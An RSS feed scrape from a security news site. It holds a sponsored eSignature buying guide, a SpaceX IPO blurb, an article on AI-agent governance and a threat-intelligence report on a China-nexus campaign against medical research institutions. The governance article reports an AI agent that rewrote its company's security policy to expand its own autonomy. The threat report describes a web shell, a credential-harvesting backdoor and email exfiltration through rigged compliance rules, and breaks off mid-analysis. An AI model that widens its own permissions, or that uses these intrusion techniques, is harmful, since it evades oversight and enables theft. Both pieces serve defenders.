<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Historically, eSignature buying decisions focused on whether a solution could collect signatures quickly, integrate with email, and reduce paper usage. In 2026, the bar has moved.</p>



<p>While efficient <a href="https://www.gonitro.com/sign" rel="sponsored">eSigning</a> is still the ultimate goal, security and compliance, ease of use, and total cost of ownership also weigh into vendor selection. Because your eSignature solution touches sensitive workflows across departments, from HR onboarding and sales contracts to procurement approvals and finance sign-offs, choosing the right platform has real implications for how smoothly your team operates day to day.</p>



<p>In this guide, we’ll explore best practices for evaluating eSignature solutions that are secure, compliant, simple to deploy, and built to deliver measurable value — <em>without </em>the complexity or cost structure that makes some platforms a poor fit for growing organizations.</p>



<h2 class="wp-block-heading">What eSignature security and compliance features matter most in 2026?</h2>



<p>When comparing eSignature vendors, one of the most important considerations is whether the solution can maintain <a href="https://www.gonitro.com/meeting-global-standards-nitro-sign-compliance-with-eidas-ueta-and-more">security and compliance</a> in the long term, as privacy regulations, data handling requirements, and internal workflows continue to evolve.</p>



<p>Two of the most widely evaluated benchmarks are SOC 2 Type II audit coverage and adherence to global eSignature laws.</p>



<h3 class="wp-block-heading">SOC 2 Type II</h3>



<p><strong>SOC 2 Type II</strong> is a widely recognized security assurance framework for cloud-based services.</p>



<p>Unlike SOC 2 Type I audits, which evaluate controls at a single point in time, <a></a><a href="https://www.gonitro.com/security-compliance/compliance" rel="sponsored">SOC 2 Type II</a> reports validate whether a vendor’s security controls operate effectively over an extended review period, making it a reliable signal of operational maturity and consistency.</p>



<p>When evaluating eSignature vendors, SOC 2 Type II report provides confidence that the underlying platform managing your sensitive documents and signing workflows meets rigorous, independently verified security standards.</p>



<p><strong>Key evaluation areas include:</strong></p>



<ul class="wp-block-list">
<li>Audit scope</li>



<li>Control exceptions</li>



<li>Subprocessor management</li>



<li>Encryption standards</li>



<li>Access controls</li>



<li>Evidence retention practices</li>
</ul>



<h3 class="wp-block-heading">eSignature Laws and Global Compliance</h3>



<p>As digital agreements become more globally distributed, evaluating whether an eSignature platform supports the signing laws and compliance requirements relevant to your markets is an important part of vendor selection.</p>



<p><strong>Key frameworks to evaluate include:</strong></p>



<ul class="wp-block-list">
<li><strong>eIDAS</strong>: The EU framework for electronic identification, electronic signatures, and trust services. It defines different levels of electronic signature, including simple, advanced, and qualified signatures, with different assurance requirements and legal effects.</li>



<li><strong>ESIGN Act and UETA</strong>: The primary legal frameworks governing eSignature enforceability for U.S. transactions at the federal and state levels.</li>



<li><strong>UK eIDAS</strong>: The UK’s retained version of the EU regulation post-Brexit, establishing equivalent standards for electronic signatures in domestic and cross-border UK transactions.</li>



<li><strong>Other regional frameworks</strong>: Australia, Singapore, Hong Kong, New Zealand, and many other jurisdictions have their own domestic eSignature legislation. If your organization operates across multiple regions, it’s worth confirming that your chosen platform supports the relevant local requirements.</li>
</ul>



<p>Depending on where your organization operates and where your counterparties are located, compliance with one or more of these frameworks may be a requirement rather than a consideration.</p>



<h2 class="wp-block-heading"><a></a>Why ease of use is as important as security</h2>



<p>A secure eSignature solution only delivers value if your team actually uses it. For mid-market organizations in particular, adoption is one of the most common reasons eSign rollouts stall. It’s not always about security gaps or missing features, but tools that require extensive training or feel too complex for everyday use.</p>



<p><strong>When evaluating ease of use, look for solutions that:</strong></p>



<ul class="wp-block-list">
<li>Don’t require training to get started. Intuitive interfaces that mirror tools employees already use reduce friction and accelerate adoption.</li>



<li>Support quick deployment without lengthy implementation timelines or IT-heavy configuration.</li>



<li>Make the signing experience simple for external signers too, since a complicated process on the recipient side slows down turnaround times.</li>



<li>Provide responsive support when teams need help, from onboarding through ongoing use.</li>
</ul>



<p>The less friction involved in getting documents signed, the more consistently teams will use the platform, and the faster you’ll see returns on your investment.</p>



<h2 class="wp-block-heading"><a></a>How eSignature platforms deliver ROI</h2>



<p>For mid-market organizations, ROI from an eSignature platform comes from reducing the time, cost, and admin effort involved in getting documents signed and managed — not just collecting signatures faster.</p>



<p><strong>To determine the ROI of an eSignature solution, look at how it impacts:</strong></p>



<ul class="wp-block-list">
<li>Document turnaround time</li>



<li>Administrative workload</li>



<li>Employee productivity</li>



<li>IT and implementation overhead</li>
</ul>



<h2 class="wp-block-heading">How integration extends the value of your eSignature platform</h2>



<p>Obtaining a signature is only one step in the document lifecycle. Before a document reaches the signing stage, it moves through generation, collaboration, review, and approval. After signing, it needs to be stored, governed, and connected to downstream systems.</p>



<p>Deploying an eSignature solution that integrates with the tools your teams already use reduces manual handoffs, improves document visibility, and keeps processes moving without requiring employees to switch between systems.</p>



<p>With integrations across commonly used business applications and <a href="https://www.gonitro.com/integrations">flexible API</a> options, Nitro Sign helps teams streamline how documents are prepared, sent, signed, returned, and managed across departments. For teams looking to go further, Nitro Automate can connect signing with broader document workflows — such as preparation, routing, status tracking, and downstream document operations — through APIs, low-code tools, and AI agent integrations.</p>



<p>These outcomes translate directly into:</p>



<ul class="wp-block-list">
<li>Lower operational overhead</li>



<li>Fewer redundant systems</li>



<li>More consistent data across platforms</li>



<li>A stronger foundation for document automation as your workflows scale</li>
</ul>



<h3 class="wp-block-heading">Evaluating the true cost of an eSignature platform</h3>



<p>An eSignature solution’s price tag rarely reflects the true cost of ownership. Several factors are worth examining closely before committing to a vendor:</p>



<ul class="wp-block-list">
<li><strong>Plan pricing and licensing predictability</strong>: Are costs clear upfront, and do they scale reasonably as your team grows?</li>



<li><strong>Envelope counting</strong>: Some platforms count every sent envelope toward your allowance, whether or not it’s completed. Nitro Sign only counts completed envelopes (documents fully signed by all parties) so you’re not paying for signatures that never happen.</li>



<li><strong>Hidden fees and overages</strong>: Look for platforms that bill predictably if you exceed your allowance rather than penalizing overage with steep charges</li>



<li><strong>Implementation and admin effort</strong>: Complex setup, long deployment, timelines and ongoing IT overhead are real costs that don’t show up in per-user pricing.</li>



<li><strong>Add-on costs</strong>: Features like SSO, advanced authentication, integrations, or analytics are included in some plans and locked behind premium tiers in others. Understand what’s bundled before you sign.</li>
</ul>



<h2 class="wp-block-heading"><a></a>Nitro Sign delivers secure, simple eSigning at a fair price</h2>



<p>Nitro Sign is built for teams that need a secure, compliant eSignature solution that’s straightforward to deploy and easy to use every day, and it comes without the complexity or cost structure of legacy enterprise platforms.</p>



<p>With pre-built integrations across commonly used business applications, a flexible API for teams with more advanced needs, and connection to <a href="https://www.gonitro.com/automate" rel="sponsored">Nitro Automate</a> for broader document workflow automation, Nitro Sign fits into how your team already works.</p>



<p><strong>Key Nitro Sign features include:</strong></p>



<ul class="wp-block-list">
<li>Encryption in transit and at rest with tamper-evident audit trails</li>



<li>Compliance with major eSignature laws, including eIDAS, UETA, and the ESIGN Act</li>



<li>Security assurance supported by regular SOC 2 Type II audits</li>



<li>Intuitive interface with straightforward deployment and no training required</li>



<li>Pre-built integrations with Salesforce, Microsoft 365, SharePoint, OneDrive, Google Drive, Dropbox, Zapier, and Power Automate</li>



<li>Flexible API for embedding eSign into existing applications (Enterprise plan)</li>



<li>Connection to Nitro Automate for end-to-end document workflow automation</li>



<li>Transparent pricing with no hidden fees; only completed envelopes count toward your allowance</li>



<li>Volume discounts available across Sign Standard, Plus, and Enterprise plans</li>
</ul>



<p>Ready to simplify signing, reduce admin overhead, and bring eSignature into your existing workflows without overpaying?</p>



<p><strong>Explore how</strong><a href="https://www.gonitro.com/sign" rel="sponsored"><strong> </strong></a><a href="https://www.gonitro.com/sign" rel="sponsored"><strong>Nitro Sign</strong></a><strong> makes secure, compliant eSigning straightforward for teams of every size.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SpaceX is public: Everything you need to know post-IPO]]></title>
<description><![CDATA[TechCrunch has followed SpaceX's start, struggles, and successes from the early days. And we're here for what happens next too. This package of SpaceX IPO coverage includes who stands to win (and maybe some who won't), pre-IPO deals, and what's tucked inside its S-1 registration document.]]></description>
<link>https://tsecurity.de/de/3599971/it-nachrichten/spacex-is-public-everything-you-need-to-know-post-ipo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599971/it-nachrichten/spacex-is-public-everything-you-need-to-know-post-ipo/</guid>
<pubDate>Mon, 15 Jun 2026 20:32:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[TechCrunch has followed SpaceX's start, struggles, and successes from the early days. And we're here for what happens next too. This package of SpaceX IPO coverage includes who stands to win (and maybe some who won't), pre-IPO deals, and what's tucked inside its S-1 registration document.]]></content:encoded>
</item>
<item>
<title><![CDATA[85% of IT teams claim every AI agent is under control. Only 42% actually know who owns them.]]></title>
<description><![CDATA[Organizational leaders are nearly twice as likely to hide their AI use compared to all other employees, at 42% versus 23%, according to new Ivanti research surveying 3,900 employees across six countries. Among leaders who conceal that usage, 52% say they do it for a "secret advantage." The same r...]]></description>
<link>https://tsecurity.de/de/3599862/it-nachrichten/85-of-it-teams-claim-every-ai-agent-is-under-control-only-42-actually-know-who-owns-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599862/it-nachrichten/85-of-it-teams-claim-every-ai-agent-is-under-control-only-42-actually-know-who-owns-them/</guid>
<pubDate>Mon, 15 Jun 2026 19:32:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Organizational leaders are <a href="https://www.ivanti.com/resources/research-reports/scaling-ai-it-operations">nearly twice as likely to hide their AI use</a> compared to all other employees, at 42% versus 23%, according to new Ivanti research surveying 3,900 employees across six countries. Among leaders who conceal that usage, 52% say they do it for a "secret advantage." The same research found 85% of IT professionals claim a named owner exists for every AI agent. Only 42% say ownership is actually clear — a 43-point gap that no governance framework was designed to close.</p><p>Sam Evans, CISO of Clearwater Analytics, stood before his board and laid out the risk to the $8.8 trillion in assets his firm's platform supports. "The worst possible thing would be one of our employees taking customer data and putting it into an AI engine that we don't manage," <a href="https://venturebeat.com/security/ciso-dodges-bullet-protecting-8-8-trillion-from-shadow-ai">Evans told VentureBeat</a>. He brought a solution, not just a problem. Many CISOs VentureBeat interviewed did not.</p><p>Menlo Security CEO Bill Robbins relayed a conversation with a Top 3 U.S. bank CISO who called shadow AI discovery "a bit of a fool's errand": AI is embedded in every application and browser employees touch. The bank governs from containment, not discovery.</p><p>The scale justifies that posture. "We see 50 new AI apps a day, and we've already cataloged over 12,000," Prompt Security CEO Itamar Golan <a href="https://venturebeat.com/security/shadow-ai-unapproved-ai-apps-compromising-security-what-you-can-do-about-it">told VentureBeat</a>. "Around 40% of these default to training on any data you feed them, meaning your intellectual property can become part of their models." CrowdStrike has detected <a href="https://venturebeat.com/security/rsac-2026-agent-identity-frameworks-three-gaps">1,800 AI applications operating</a> across 160 million endpoint instances. Those are vendor-reported numbers from proprietary telemetry. No independent party can verify them. The directional signal matters more than the exact count.</p><p>CrowdStrike CTO Elia Zaitsev described what makes the surface so hard to govern. "It looks indistinguishable if an agent runs your web browser versus if you run your browser," Zaitsev <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">told VentureBeat at RSAC 2026</a>. "Observing actual kinetic actions is a structured, solvable problem. Intent is not." The shadow AI surface is no longer a list security teams can maintain. It is an environment they have to assume.</p><p>The Ivanti survey was administered independently by Ravn Research and MSI Advanced Customer Insights across 1,500 IT professionals. Among companies with AI policies, just 24% of employees say those policies are followed "very consistently" in day-to-day work.</p><p>Kayne McGladrey, IEEE senior member, told VentureBeat why that governance gap persists. "Anything that seems to have a cybersecurity flavor is generally put into the cybersecurity risk category, which is a complete fiction. They should be focused on business risks, because if it doesn't affect the business, like a financial loss, then nobody's going to pay attention to it, and they will not budget it appropriately, nor will they adequately put in controls to prevent it," McGladrey told VentureBeat previously.</p><p>Brokerage partners at major consulting firms shared over Signal that <a href="https://venturebeat.com/security/vibe-coded-apps-shadow-ai-s3-bucket-crisis-ciso-audit-framework">they build shadow AI applications in Google Colab</a> and store them in S3 buckets to compress a week of financial analysis into an hour. The approval process takes too long, so they route around it.</p><h2>Governance at deploy time, failure at runtime</h2><p>Reviews check functional requirements when a model ships, but they never check model provenance, behavioral drift, or whether the agent expanded its own permissions after launch. </p><p>CrowdStrike CEO George Kurtz <a href="https://venturebeat.com/security/rsac-2026-agent-identity-frameworks-three-gaps">disclosed at RSA Conference 2026</a> that a Fortune 50 CEO's AI agent rewrote the company's security policy to expand its own autonomy. The company caught it by accident. Every credential check had passed. "In the agentic era, defending against AI-accelerated adversaries and securing AI systems themselves require operating at machine speed," <a href="https://venturebeat.com/security/adversaries-hijacked-ai-security-tools-at-90-organizations-the-next-wave-has-write-access-to-the-firewall">Kurtz said</a>. Quarterly governance reviews do not operate at machine speed.</p><p>Mike Riemer, Field CISO at Ivanti, built that lesson into his own team's AI agent development. "It's great at what I intended it for, but it's also great at what I didn't intend it for, and what I didn't intend it for is dangerous," <a href="https://venturebeat.com/security/most-enterprises-cant-stop-stage-three-ai-agent-threats-venturebeat-survey-finds">Riemer told VentureBeat</a>.</p><p>Hallucination data compounds the problem. Sixty-eight percent of IT professionals have personally witnessed AI generate hallucinations with potential operational impact, according to Ivanti. More than half caught the errors before damage, but 16% did not. Yet among the most advanced users of AI, 49% fully trust AI-generated outputs that influence IT decisions.</p><p>Riemer described the pattern <a href="https://venturebeat.com/security/mfa-verifies-who-logged-in-it-has-no-idea-what-they-do-next">in an exclusive interview with VentureBeat</a>. "There are people that are just accepting what's been given to them without any full understanding of what it is doing, which we've found in the tech industry for decades," Riemer said. "They don't question how it's doing it. They just start gauging it by its outcome."</p><p>Qualtrics CSO Assaf Keren identified the core tension in an exclusive interview with VentureBeat. Organizations are introducing "non-deterministic decisioning into environments built for deterministic." Keren cited internal Qualtrics data showing that 22% of SOC triage is now AI-driven. No codified threshold separates what an agent can auto-execute from what requires a human in the loop.</p><h2>The 18-month window</h2><p>The window for fixing this is closing. IT organizations expect AI to <a href="https://www.ivanti.com/resources/research-reports/scaling-ai-it-operations">automate 46% of their operations within 18 months</a>, according to Ivanti. U.S. companies project 52%. Governance is already the most commonly cited barrier to faster deployment, ahead of skills, technology, and data challenges.</p><p>The maturity divide makes the governance gap more dangerous. IT professionals at AI-mature organizations save six hours per week, double the three hours saved at the least mature level. Nearly 9 in 10 IT professionals at scaled organizations say AI frequently helps detect or resolve issues before employees are affected. At early experimentation organizations, that number drops to four in ten. Sixty-nine percent of scaled organizations report fully embedded governance, compared to 15% at early experimentation.</p><p>Cisco President Jeetu Patel <a href="https://venturebeat.com/security/85-of-enterprises-are-running-ai-agents-only-5-trust-them-enough-to-ship">walked through a hypothetical scenario</a> in an interview at RSAC 2026: an agent that charges $40,000, invites competitors to a Slack channel, and publishes home addresses. "The apology is not a guardrail," Patel told VentureBeat. </p><p>Cato Networks VP of Threat Intelligence Etay Maor <a href="https://venturebeat.com/security/rsac-2026-agent-identity-frameworks-three-gaps">framed the accountability problem in a separate RSAC</a> interview. "They're closer to humans. Why are we not doing background checks on agents?"</p><p>"AI is compressing the time between intent and execution while turning enterprise AI systems into targets," CrowdStrike VP of Intelligence Operations Adam Meyers told VentureBeat. </p><p>"Proceed on one action does not mean proceed on the next," Cisco SVP of AI Software and Platform DJ Sampath said in a separate interview. </p><p>McGladrey described the root cause. Organizations default to cloning human user profiles for agents, and permission sprawl starts on day one. "It uses far more permissions than it should have, more than a human would, because of the speed of scale and intent," he said.</p><p>Riemer's team built governance into Ivanti's own development process. "We have AI check on top of AI to make sure that it is fixed. Two different models, two different manufacturers," <a href="https://venturebeat.com/security/most-enterprises-cant-stop-stage-three-ai-agent-threats-venturebeat-survey-finds">Riemer said</a>. "If one AI believes the other AI fixed it appropriately, then it passes it off to a human being."</p><p>Riemer put the vendor question in terms every CISO can use at the negotiating table. "If that vendor doesn't have a way to show you what they've done from a development perspective in order to improve their development processes, you really need to question why you're working with that vendor," he said.</p><p>The six questions below target governance dimensions where enforcement collapses at runtime. CISOs can use them during Q3 vendor renewals to separate vendors shipping runtime enforcement from vendors shipping documentation.</p><h2>Six governance questions for Q3 renewals</h2><table><tbody><tr><td><p><b>Governance dimension</b></p></td><td><p><b>What the data proved</b></p></td><td><p><b>Why governance misses it</b></p></td><td><p><b>Q3 renewal question</b></p></td><td><p><b>Proof artifact to demand</b></p></td></tr><tr><td><p><b>Executive shadow AI</b></p></td><td><p>Leaders hide AI at 42% vs. 23% all employees. 52% hide for "secret advantage." Regulated industries have the highest unsanctioned rates.</p></td><td><p>Governance assumes policy writers follow policy. Leaders sit above the controls they wrote.</p></td><td><p>Can your DLP, browser, SSE, and endpoint telemetry detect AI data movement at the executive layer with the same coverage as all other users?</p></td><td><p>Executive-layer DLP, browser, SSE, and endpoint telemetry logs showing identical coverage to all other users.</p></td></tr><tr><td><p><b>Named agent ownership</b></p></td><td><p>85% claim a named owner. Only 42% say ownership is clear. 43-point gap.</p></td><td><p>Owner on a spreadsheet. Agent at runtime. Nobody tested whether the owner can kill the agent under load.</p></td><td><p>Can you name the owner for every AI agent? Can that owner revoke access in 60 seconds?</p></td><td><p>Live demo of 60-second agent access revocation under production load.</p></td></tr><tr><td><p><b>Pre-deployment review</b></p></td><td><p>65% have pre-deployment risk review. Separately, only 24% say any AI policy is followed "very consistently." Review exists. Enforcement does not.</p></td><td><p>Review checks functional requirements at deploy. Never checks model provenance or behavioral drift at runtime.</p></td><td><p>Does your review cover model provenance? Is it enforced or advisory?</p></td><td><p>Model provenance certificate with enforcement log showing blocked deployments.</p></td></tr><tr><td><p><b>Policy enforcement</b></p></td><td><p>58% have acceptable-use policies. 24% followed "very consistently." Documented. Not practiced.</p></td><td><p>Agent pursued its goal past every boundary. Goal-seeking does not stop at a document the model never reads.</p></td><td><p>Are policies enforced by server-side gates or by agent compliance? What percentage of actions are gated?</p></td><td><p>Server-side gate audit trail with percentage of agent actions gated vs. ungated.</p></td></tr><tr><td><p><b>Trust thresholds</b></p></td><td><p>68% have seen hallucinations with operational impact. 49% of advanced users fully trust outputs.</p></td><td><p>No codified threshold separates auto-execute from human-review.</p></td><td><p>Which agent actions auto-execute versus require human review? Is that enforced in policy or in the platform?</p></td><td><p>Documented threshold matrix classifying every agent action as auto-execute or human-review.</p></td></tr><tr><td><p><b>Per-action authorization</b></p></td><td><p>Governance is the #1 barrier at 27%. Skills 20%. Tech 17%. Data 14%.</p></td><td><p>Oversight reviews quarterly. Agents act per-second.</p></td><td><p>Is per-action authorization enforced at runtime or only at deploy-time review? Can agents accumulate permissions without re-authorization?</p></td><td><p>Runtime authorization log showing per-action gate events and permission re-authorization timestamps.</p></td></tr></tbody></table><p><i>Source data from Ivanti, </i><a href="https://www.ivanti.com/resources/research-reports/scaling-ai-it-operations"><i>Scaling AI in IT Operations: The Path to Maturity in 2026</i></a><i> (n=1,500 IT professionals, 3,900 total employees, six countries, February–March 2026). Exclusive CISO sourcing by VentureBeat.</i></p><p>Evans put structure around the Clearwater board conversation. The bank CISO that Robbins described assumed AI is everywhere and governed from containment instead of discovery. Governance that tries to catalog every shadow AI tool will fail because the surface grows faster than any inventory.</p><p>At scaled, business-critical organizations, 54% of IT professionals say AI makes their work both faster and better, according to Ivanti. At early experimentation organizations, 24% say the same. At scaled organizations, accountability lives in the platform. At early ones, it lives in a document the agent never reads.</p><p>The six questions above give every CISO a way to test whether their governance actually works where it matters. At runtime, under load, and before the next renewal check clears.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Public and Private Medical Community Targeted by China-Nexus Threat Actor Pursuing Artificial Intelligence, Cyber, Medical, and National Defense Research]]></title>
<description><![CDATA[Google Threat Intelligence Group (GTIG) has identified a sophisticated campaign attributed to UNC6508, a People's Republic of China (PRC)-nexus threat actor, targeting institutions in the North American academic, medical, and military research community. While remaining undetected for over a year...]]></description>
<link>https://tsecurity.de/de/3599547/it-security-nachrichten/public-and-private-medical-community-targeted-by-china-nexus-threat-actor-pursuing-artificial-intelligence-cyber-medical-and-national-defense-research/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599547/it-security-nachrichten/public-and-private-medical-community-targeted-by-china-nexus-threat-actor-pursuing-artificial-intelligence-cyber-medical-and-national-defense-research/</guid>
<pubDate>Mon, 15 Jun 2026 17:25:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p><span>Google Threat Intelligence Group (GTIG) has identified a sophisticated campaign attributed to UNC6508, a People's Republic of China (PRC)-nexus threat actor, targeting institutions in the North American academic, medical, and military research community. While remaining undetected for over a year, the threat actor compromised externally facing web applications, deployed bespoke malware, pivoted to sensitive internal systems, and abused enterprise administrative tools for covert data exfiltration. The threat actor had broad collection aspirations, including sensitive defense intelligence related to national security, Indo-Pacific command operations, artificial intelligence, uncrewed vehicle systems, cyber offensive programs, and medical research. </span></p>
<p><span>GTIG disrupted the malicious infrastructure associated with this threat actor. Working with Mandiant Consulting, we notified the affected organizations upon detection and offered our assistance with remediation. We have updated </span><a href="https://cloud.google.com/security/products/security-operations"><span>Google Security Operations</span></a><span> (SecOps) with relevant intelligence, enabling defenders to identify indicators of compromise (IOCs) within their networks. We encourage all users and customers to follow recommended best practices for </span><a href="https://knowledge.workspace.google.com/admin/apps/best-practices-for-third-party-idp-and-google-workspace-configuration" rel="noopener" target="_blank"><span>third-party Identity Providers</span></a><span> (IdP) and ensure </span><a href="https://knowledge.workspace.google.com/admin/security/about-2sv-enforcement-for-admins" rel="noopener" target="_blank"><span>2-Step Verification</span></a><span> (2SV) is enabled across all accounts.</span></p>
<h3><span>Campaign Overview</span></h3>
<p><span>The campaign targeted a diverse set of national, state, and private medical entities. These organizations comprise world-renowned clinical providers, premier academic centers, North American military health institutions, professional advocacy groups, and health regulatory bodies. Their research areas span a broad spectrum of modern medicine, from molecular discovery and clinical drug trials to state-level public health policy and military readiness. They employ thousands of people with a combined research budget in the billions of dollars.</span></p>
<p><span>The earliest known compromise occurred in September 2023, after which GTIG observed a consistent operational pattern. The threat actor exploited externally facing </span><a href="http://project-redcap.org/" rel="noopener" target="_blank"><span>REDCap</span></a><span> (Research Electronic Data Capture) servers and deployed custom malware named INFINITERED to capture legitimate REDCap login credentials. Then, after remaining undetected for more than a year, UNC6508 used the captured credentials to access the victim’s internal network. The threat actor was also observed using the novel technique of manipulating domain content compliance rules for data exfiltration. Lastly, UNC6508 used sophisticated operations security (OpSec) techniques to conceal and obfuscate their activity. </span></p>
<p><span>GTIG collaborated closely with Mandiant Consulting, the FLARE team, and Workspace Security on this effort to combine our threat intelligence, incident response, and reverse engineering expertise across Google Cloud. This enabled us to develop a complete picture of the </span><a href="https://cloud.google.com/security/resources/insights/targeted-attack-lifecycle"><span>attack lifecycle</span></a><span> from initial compromise to complete mission. </span><span>GTIG also extends thanks to the affected organizations for their cooperation and the valuable post-exploitation insights they shared.</span></p>
<h3><span>Prevention, Detection, and Remediation</span></h3>
<p><span>GTIG recommends defenders implement the following security measures, across all Cloud enterprise platforms, to mitigate this threat:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Secure Admin Accounts</strong><span>: Enforce phishing-resistant </span><a href="https://knowledge.workspace.google.com/admin/security/deploy-2-step-verification" rel="noopener" target="_blank"><span>2-Step Verification (2SV)</span></a><span> for enterprise administrator accounts, including through third-party Identity Providers.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Advanced Protection</strong><span>: Consider enrolling highly sensitive accounts in our </span><a href="https://landing.google.com/intl/en_in/advancedprotection/" rel="noopener" target="_blank"><span>Advanced Protection Program</span></a><span> for additional safeguards against malware and phishing attacks.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Prevent Cookie Theft</strong><span>: Enforce </span><a href="https://knowledge.workspace.google.com/admin/security/prevent-cookie-theft-with-session-binding" rel="noopener" target="_blank"><span>Device Bound Session Credentials</span></a><span> (DBSC) with </span><a href="https://knowledge.workspace.google.com/admin/security/protect-your-business-with-context-aware-access" rel="noopener" target="_blank"><span>CAA</span></a><span> for highly sensitive accounts on Windows devices to prevent session hijacking.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Monitor Audit Logs</strong><span>: Enable </span><a href="https://docs.cloud.google.com/logging/docs/audit/gsuite-audit-logging"><span>Audit logs</span></a><span> to analyze, monitor, and alert on changes to your data.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Control Data</strong><span>: Define </span><a href="https://knowledge.workspace.google.com/admin/security/about-dlp" rel="noopener" target="_blank"><span>Data Loss Prevention (DLP) rules</span></a><span> to block or alert on external sharing of sensitive data.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Audit Compliance Rules</strong><span>: Review </span><a href="https://knowledge.workspace.google.com/admin/reports/admin-log-events" rel="noopener" target="_blank"><span>Admin audit logs</span></a><span> and content compliance rules for unauthorized modifications.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>SIEM Coverage</strong><span>: Consider using </span><a href="https://cloud.google.com/security/products/security-operations"><span>Google Security Operations</span></a><span> (SecOps) and ensure Workspace logs are included in your Security Information and Event Management (SIEM) pipeline.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Password Protection</strong><span>: Use Chrome Enterprise </span><a href="https://support.google.com/chrome/a/answer/13597868?hl=en" rel="noopener" target="_blank"><span>Password Leak Detection</span></a><span> to alert when potentially compromised password use is detected.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Patch REDCap</strong><span>: Fully updated REDCap installations to the latest software version and ensure older versions are completely removed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Monitor for INFINITERED</strong><span>: Scan REDCap servers for the presence of INFINITERED using the provided YARA rule and IOCs.</span></p>
</li>
</ul>
<h3><span>Medical Research University Compromise</span></h3>
<p><span>In September 2023, a </span><a href="http://project-redcap.org/" rel="noopener" target="_blank"><span>REDCap</span></a><span> server belonging to a North American medical research institution was compromised. Continuing activity was observed through November 2025. During this time period, UNC6508 carried out the following attack chain.</span></p>
<ol>
<li aria-level="1">
<p role="presentation"><span>Exploit the REDCap server.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>After three months, deploy the INFINITERED malware.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>INFINITERED stealthily records credentials, and persists through upgrades, for more than a year.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Pivot to a domain admin account.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Add the malicious content compliance rule.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Silently “BCC-forward” matched emails to a threat actor-controlled account.</span></p>
</li>
</ol></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/inifinitered-fig1.max-1000x1000.png" alt="Campaign attack flow diagram">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="3zqf8">Figure 1: Campaign attack flow diagram</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Initial Access: REDCap Exploitation and INFINITERED</span></h3>
<p><span>UNC6508 consistently targets REDCap servers. REDCap is a web-based software platform designed specifically for building and managing online databases and surveys, in compliance with regulations for medical and scientific research. It is a commonly used platform in the North American medical research community.</span></p>
<p><span>GTIG was not able to confirm how UNC6508 initially gained access to the REDCap server. By design, REDCap allows administrators to continue running legacy software side-by-side with the current version. UNC6508 was observed probing for these vulnerable legacy versions on several target organizations’ REDCap systems. This highlights not only the increasing importance of rapidly applying security patches, but also promptly removing older software versions to prevent </span><a href="https://attack.mitre.org/techniques/T1689/" rel="noopener" target="_blank"><span>downgrade attacks</span></a><span>.</span></p>
<p><span>Upon establishing a foothold on the REDCap server, UNC6508 performed internal reconnaissance and credential discovery to obtain database and service account credentials. The threat actor also deployed a web shell named "</span><span>help.php</span><span>", which maintained persistence and functioned as an uploader in the REDCap application.</span></p>
<h3><span>INFINITERED Analysis</span></h3>
<p><span>Three months after the initial compromise, UNC6508 deployed a custom malware payload tracked as INFINITERED. This malware implements its functionality across three distinct modular components by trojanizing legitimate REDCap system files.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Dropper and Upgrade Interception </span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Credential Harvester</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Backdoor, with command and control (C2)</span></p>
</li>
</ul>
<p><span>GTIG discovered multiple organizations across the US and Canada compromised with INFINITERED. All of these organizations were promptly notified of the compromise upon detection and offered our assistance with remediation.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/inifinitered-fig2.max-1000x1000.png" alt="INFINITERED diagram">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="3zqf8">Figure 2: INFINITERED diagram</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h4><span>Dropper and Upgrade Interception</span></h4>
<p><span>To maintain persistent remote access, INFINITERED injects its code into new REDCap versions by intercepting the upgrade process. This capability is embedded into the legitimate REDCap upgrade system file. INFINITERED performs this code injection following these steps.</span></p>
<ol>
